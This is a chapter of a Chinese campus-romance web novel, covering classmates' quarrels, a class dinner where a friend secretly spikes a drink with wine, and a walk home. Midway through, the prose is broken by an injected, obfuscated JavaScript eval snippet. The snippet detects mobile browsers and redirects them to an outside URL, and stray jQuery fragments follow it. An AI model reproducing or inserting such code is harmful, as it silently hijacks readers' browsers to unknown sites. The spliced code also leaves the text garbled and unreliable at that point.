22.22
作品:《打翻调色盘》 22
空气似乎凝固了一瞬,蔚媛听见商娩把玩着手里的塔罗牌,数十张牌噼里啪啦响成一片,她转过头,看到宋繁拉开椅子坐下来。
“不用了谢谢。”他脸上没什么表情,薄唇抿着,看起来似乎心情不好?
幼稚鬼好拽哦,蔚媛心说,她看向商娩。
商娩朝蔚媛偷偷吐了吐舌头,她把洗好的牌往桌上一摆,说:“好吧好吧,那芋圆来。”
“行啊。”
宋繁耳尖微动,课桌上的假期作业又堆满了,他把卷子拢起来,余光落在一旁桌上的塔罗牌上。
她来?算什么?桃花?还是喜欢的人?
牌面上的藤蔓花纹交织错节,荆棘刺入正中的粉色心脏,商娩的手指在上面轻轻划过,他听见她说:“你要看什么!”
“下个月的考运好了,能不能稳住第一?”
宋繁把手里的试卷猛地一折叠,拿起桌上的画笔袋就往外走。
……
国庆假即将来临,放学后沈雁回还要请同学们吃饭,下午的三节课对大家来说变得分外难熬,连最后的音乐课放的电影都没几个人认真看。
蔚媛低头忙着写卷子,她的国庆学习计划早就已经规划好,绝不能在学校的作业上花费太多时间。
“芋圆,晚上吃完饭我就不和你一起走了哦,我10点钟的飞机。”商娩把假期试卷都放进文件袋里,她的规划是边旅游边学习,当然,能不能实现是另外一回事。
芋圆没抬头,在商娩背上拍拍示意明白,她在桌洞里抽了两张新的草稿纸,里面的几支百乐笔也被带出来。
她快速伸手接住,紧绷的思维倏然从函数世界里抽身而出,她盯着手里的笔,片刻后一转身,把它们放进了书包里。
放学铃声随之响起,周遭的安静被猛然打破,各个教室的前后门涌出一股又一股人,喧嚣瞬间将电影的背景音乐吞没。
“大家走了!野树家走起!雁子已经订好包厢了!”丰茂背着书包站在讲台上,招呼同学们和他一起走,餐厅位置就在学校附近的商场里,步行过一条马路就到。
蔚媛抱着书包跑了几步跟上商娩,二人挽着手走出教室。
“班长中午还被雁子叫去教育了一顿,居然这么快就调理好了。”商娩玩着手里的校牌,压低声音说,“我后来一想,他今天居然能想到来喊你去当出头鸟,不愧是能稳居班长之位的人,太精明了,咱以后做事还是要小心谨慎!”
见蔚媛点头,她拉住她蹦蹦跳跳地跑下楼,七班大部队走在前面,她们晃晃悠悠地跟在后面,四点钟的太阳逐渐西偏,在地面上拉出一片倾斜的浓烈的金黄色。
二人走到商场时接到了范晔的电话,他求她们帮忙占座:“我等宋繁从美术室出来,一会儿和你们坐一起。”
商娩看向蔚媛,见她耸肩表示无所谓,朝电话里喊了句知道了。
“你现在不讨厌宋繁啦?”蔚媛先一步走进电梯,里面挤满了人,商娩凑在她耳边,声音轻得像蚊子嗡嗡叫。
“他今天不是还和你们一起上楼来么。”蔚媛背贴在电梯上,仰头看着显示屏上的数字向上跳跃。
电梯门叮一声打开,蔚媛勾着商娩的手指往外走,听见她在后面说:“对啊,我也没想到他会帮我们,按理来说他这个刚来没多久的转学生完全可以不参与的嘛,他可比那几个畏畏缩缩的男生仗义多了。”
她话音刚落,身后传来一声咳嗽,被点名的几个男生从她们身边走过去,回头瞪了她们好几眼。
“看什么看啊!”商娩回了个白眼。
“你什么意思?”为首的王其顿时停住了脚步,几个男生也跟着不走了,在商场走廊里站成一团。
丰茂回头见同学都站住了,赶忙引他们往餐厅里走,他边往前跑边喊商娩,试图转移愈演愈烈的矛盾。
“你觉得是什么意思就是什么意思,我记得雁子当时说的是请帮她的同学吃饭,你们帮了吗就来?”商娩忍了一天,此刻看到这几个来蹭饭的就冒火,她抓着蔚媛袖子的手松开,往前走了两步,又被蔚媛拉住。
“又不是你请客,你少多管闲事。”王其恼羞成怒,他仗着自己人高马大,想推开商娩。
宋繁和范晔出电梯的时候正好看见蔚媛伸手拉开商娩,王其推人的动作落空,往前踉跄了半步。
“蔚媛,你有病吧?”王其拉着旁边的同学站稳,他差点摔倒,气得脸都红了,“你跟商娩两个人天天怎么这么多事?要不是你们,班主任今天压根就不用被骂好不好?现在还管我们来不来,和你们有什么关系?”
“我去,这不要脸的孙子!看我不教训他。”范晔听见王其的话眼睛都瞪大了,他还没来得及思考,气势汹汹地跑向王其。
蔚媛正捏着商娩的手腕,阻止她想冲上前的动作,丰茂在旁边劝架,说和气生欢。
“王其,如果我没记错的话,你身上还背着上学期的警告处分。”蔚媛没理丰茂,她盯着王其和他身后的几个男生,皱了皱眉,“我无所谓你怎么骂人,但你今天要是敢再推商娩一下,商场这里到处都是监控,我现在就去和沈老师说你欺负同学。”
提到警告处分,王其显然犹豫了,但他觉得在外面不能丢面子,于是恶狠狠地哼了一声,威胁似的用手指着两个女生:“我告诉你们,以后……”
“以后想怎么样?”范晔的声音跟随着冲刺的动作颤抖,他噌地一下站到了王其面前,和他眼对眼,“你可以啊王其,在校外威胁同学?”
蔚媛正在想怎么脱身,被突然出现的范晔吓了一跳,她猛地往后退,还没来得及反应,另一道熟悉的身影站到了她的身前,高大的身影将她完全挡住。
“不用以后,我拍视频了,监控都不用调,要不要和我们去找沈老师?”宋繁戴了口罩,在场的大家一时都没有认出他,他说话声音闷闷的,朝王其他们挥了挥手机。
王其见形势走向越来越不利,他尖利的眼神扫过眼前众人,最后在沉默的几秒里转身就走。
“我不吃了。”他说,“你们随意。”
他一走,和他一起来的男生也不好意思留下,丰茂还没开口留他们,几个人早就跑得没了影。
“那,那我们去吧?”他扶了扶眼镜,暗暗松了口气。
还好没吵起来,不然他真打不过王其啊。
蔚媛没说话,和商娩往餐厅的方向走,范晔跑了几步追上来,和商娩聊起来了。
“怎么回事啊?你们没事吧?”
“没事啊,就是看他们不爽,根本没帮雁子,还好意思来蹭吃蹭喝的。”
“那你们也别跟他正面起冲突啊!万一真打你们呢!”
“那就报警,气死我了,仗着自己力气大就能胡作非为吗!”
……
蔚媛刚刚拉商娩的时候扭到了手腕,原本平整贴在伤口上的创可贴也掉了下来,她索性将其扯掉,扔进了一旁的垃圾桶。
走到餐厅门口,前台的餐厅经理立马迎上来,带他们去包厢。
眼前的光线倏然变暗,走廊上弥漫着淡淡的果香,四周的餐桌上都坐满了人,范晔和商娩还在前面激烈地聊着天,蔚媛侧身躲过端着餐盘的服务员,听到身旁传来一声轻咳。
头顶的壁灯灯光一晃而过,她还没适应眼前的明暗交替,抬眸便对上了宋繁的视线。
白色口罩遮住他半张脸,昏暗的灯光下,他的眉目反而显得格外深邃锋利,蔚媛望进他的眼眸深处。
漆黑里一滴透亮的光。
她倏然移开眼,却听见他问:“我给你的创口贴呢?”
包厢的门被推开,沈雁回还没有到,同学们都各自坐在位置上聊天玩游戏,蔚媛低下头,借着灯光看了一眼手上微微发红的伤口,说:“忘在教室里了。”
商娩在前面喊她快走,她不停留,抬步就要跟上去,然而手臂被人轻轻拉住。
一包全新的创口贴塞进她的手心,蔚媛下意识抓住,没等她回头,宋繁已经越过她走进了包厢。
“刚刚在路上顺手买的备用,给你了。”
“……”
她欲开口叫住他,迟迟不见她进门的商娩等不及,跑来她身边:“走了走了,周紫给我们占座了,你不是最喜欢里边的位置吗,我给你留好了!”
她坐在角落靠着落地窗的位置,商娩便自然而然地坐在她旁边,范晔不要脸地拉着宋繁挤过来,说刚刚的话题还没聊完。
几位服务员姐姐在大家落座后走进包厢,她们手里都是凉菜和饮料。
“雁子说临时要开会,让我们先吃。”丰茂作为班长负责主持大局,把包厢里的三桌饮料一分,让服务员给大家上主菜。
商娩用手肘戳了戳蔚媛:“芋圆,你看那有瓶酒。”
蔚媛正低头在拆创可贴,闻言抬眸,瞧见隔壁桌上孤零零放着一瓶红酒,但大家都是未成年,沈雁回必然不可能点酒,应该是服务员拿错了,同学们起身拿饮料的时候都自动避开了这瓶酒。
“应该是送的。”商娩分析道。
“嗯。”蔚媛把剩下的创口贴放回包装袋,她看了眼坐在另外一边的宋繁,他正背对着他们在回手机消息。
算了,晚点放便当盒里一起还他。
眨眼的时间,主菜早已摆满了一桌,商娩心心念念的招牌菜咖喱鸡当然也在其中,蔚媛伸手想去拍她的大腿叫她夹菜,扭头却看见她正抱着红酒和范晔哈哈大笑。
注意到蔚媛投来的目光,她猛地一转身。
“你喝酒了?”蔚媛皱起眉。
“哎呦哎呦,小声点!”
商娩赶紧嘘声道:“我看了这瓶酒就是高级套餐里送的,我就打开喝了一点点!”
“那也不行。”蔚媛说着就去夺她手里的酒,“范晔你抓住她!”
酒瓶几乎是满的,软木塞上溅过几滴酒,红色浸在上面,蔚媛听见商娩轻哼了一声。
“我都说了没喝多少。”
蔚媛把酒瓶递给走过来的丰茂,叫他拿出去,今天在场的同学这么多,万一有人喝醉了,沈雁回要担责任。
“我真的就抿了一口,你放心。”商娩蹭过来,她一手捧着碗里的咖喱鸡,一手举在头顶发誓,“我绝对不会给雁子找事的。”
她撒娇说谢谢蔚媛给她夹了满满一碗咖喱鸡,又说家里的酒柜被妈妈锁起来,等她以后成年了,就请蔚媛去家里喝最好的白葡萄酒。
“我也要来。”范晔凑上来,给她们端了两盘炸虾片。
“嗯嗯嗯行啊,你不是要考同济么,考上我请你喝一礼拜,不醉不归。”
二人不愧是好闺蜜,转眼又聊上了理想大学,蔚媛不太喜欢吃咖喱,听着他们扯东扯西,有一口没一口地往嘴里塞炸虾片。
不知话题什么时候转移到了宋繁身上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087905|171776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“你呢宋繁,你的理想大学是哪里?”
膨化食品的棱角失去攻击力,在口中慢慢融化,蔚媛听见宋繁那头沉默几秒,他回答说:“我不在国内读。”
“对对对,我们都忘记了。”范晔一拍脑袋,笑得很大声,“那到时候我们出国玩就可以请你当导游了!”
宋繁没接话,把手里的筷子一搁,余光瞥向落地窗,突然愣了愣。
“你的脸。”
范晔正说在兴头上,“啊”了一声:“我的脸怎么了?”
“不是。”宋繁指了指蔚媛。
三个人的目光同时落在了蔚媛的脸上。
“怎么了?”蔚媛正打算去夹桌上的罗非鱼,被他们盯得不敢动了。
商娩默默往后坐,小心翼翼地指着蔚媛手边的杯子:“你是不是喝了这个可乐?我在里面加了红酒。”
“……”她不说倒还好,一说完,蔚媛就觉得脸有点发烫,她将手背贴在脸上,很烫。
商娩投降般朝她摆摆手,转头给范晔使眼色,叫他赶紧把那杯罪魁祸首拿走,而自己则讨好地把手机屏幕一翻,她的手机壳上有面小镜子。
于是蔚媛看到了自己酒精上头的红脸。
“……商娩!”她咬牙切齿地瞪了商娩一眼,随后把头一扭,赌气地往嘴里灌了几口白开水。
她太无语了,以至于连宋繁那道调侃的笑声都没有捕捉到。
……
沈雁回到时几乎散场,她结过账后嘱咐同学们回家路上注意安全,但时间刚过七点,天边的鸭蛋青还未完全褪尽,晚风吹在身上微微的凉。
出了商场大家各自归家,红绿灯亮起后十字路上散开一大群蹦蹦跳跳的少年。
商娩喊的出租车已经到了,蔚媛和她挥手道别,祝她旅途愉快。
“芋圆我对不起你!”商娩放下车窗,朝她喊道,“你到家了和我说一声,我给你点了柠檬水!”
她说完就走了,车尾气呛得蔚媛忍不住咳嗽。
酒精让她的后脑勺隐隐作痛,蔚媛过马路的时候很谨慎,她心想,原来自己的酒量这么差!
穿过前面一排工作室就到小区门口,同行的同学几乎没有,她放慢脚步,踩着地砖一步步走。
一个多小时下来,她的脸依旧泛红发烫,风吹一吹,刚刚好。
身后的脚步声熟悉,她没回头。
“蔚媛。”
眼前忽然飘落一片黄绿交叠的梧桐叶,被风卷着在地面上盘旋几圈,她脚步随之微顿。
肩上的书包被人扯了一下,她回头只瞧见校服的T恤衣领,目光再往上,才和宋繁对视。
他突如其来的熟稔倒让她有些不知所措,此刻她头晕脑胀的,居然一时做不出任何反应。
宋繁正在打量她,他觉得蔚媛喝醉之后有点好玩,说话是一个字一个字地往外说,走路也是一步一步,像只企鹅一样走。
“要我扶着你么?”他挑眉,眼角带着笑。
这酒量也太差了吧,酒里还兑了那么多可乐呢!
他初中毕业那年喝了一杯白的都没醉!
蔚媛闻言斜了他一眼,懒得揭穿他这些昭然若揭的小心思,她把书包往上一提,转身往家走。
她不接话,宋繁准备好的台词都没用上,见她低着头走路,欲言又止了几秒,跟了上去。
天幕渐暗,七点半的路灯准时亮起,路上偶尔穿梭过几辆共享单车,周围的工作室门紧闭,内里偶尔传出几声细微的猫叫。
宋繁跟着蔚媛进了小区,又跟着她进了单元楼、进了电梯。
蔚媛低头给商娩发消息,目光在手上的创可贴上停留了片刻,她眨眨眼,电梯停在12楼。
廊道的感应灯倏然点亮,宋繁被灯光晃了下眼睛,走在前面的蔚媛停住脚步,他微微一怔,还没开口,看到她从书包里拿出了一个便当盒。
“我想起来了,这个还给你,今天早上你家里没人。”蔚媛把便当盒递给他,又补充道,“这么晚就不打扰了,帮我再谢谢阿姨的饺子,也谢谢你的创口贴。”
宋繁点点头,接过便当盒。
原来是这件事啊,他心想,谢了好多次了。
蔚媛手里的钥匙稀里哗啦响着,话题已经终止,宋繁看了一眼手里的便当盒,转身走向家门。
“对了。”
他停在原地,听到蔚媛的脚步声又渐近,随着外面天空划过一道尖锐的鸟鸣,一只纤细白皙的手出现在他眼前。
蔚媛捏着几只百乐笔问他:“这是不是你放在我桌洞里的?”
宋繁这时才意识到她的思维恍惚,醉意甚至随着夜幕降临变得更加朦胧而浓重,她的语调上扬,尾音微微颤抖,她和平时的蔚媛不一样,此刻的她对他不够清醒。
平时的蔚媛,绝对不会这样直勾勾地盯着他。
“是你放的么?”蔚媛用笔头戳了戳他的胸口。
头顶熄灭的灯又亮起来,光线泛着清冷的白,叫人分不清到底眼前是月亮,还是远方是月亮。
宋繁垂眼看着停留在他胸口的笔,目光缓缓地、缓缓地流向站在光线中央的蔚媛。
他望进她眼中的一瞬间,心跳似乎突然慢了半拍,她的眸光在此刻化作一支闪亮的箭,稳稳扎在了他的心头上。
“是我。”他听见自己晦涩的嗓音,和心跳声一同融进了漫漫的夜色里。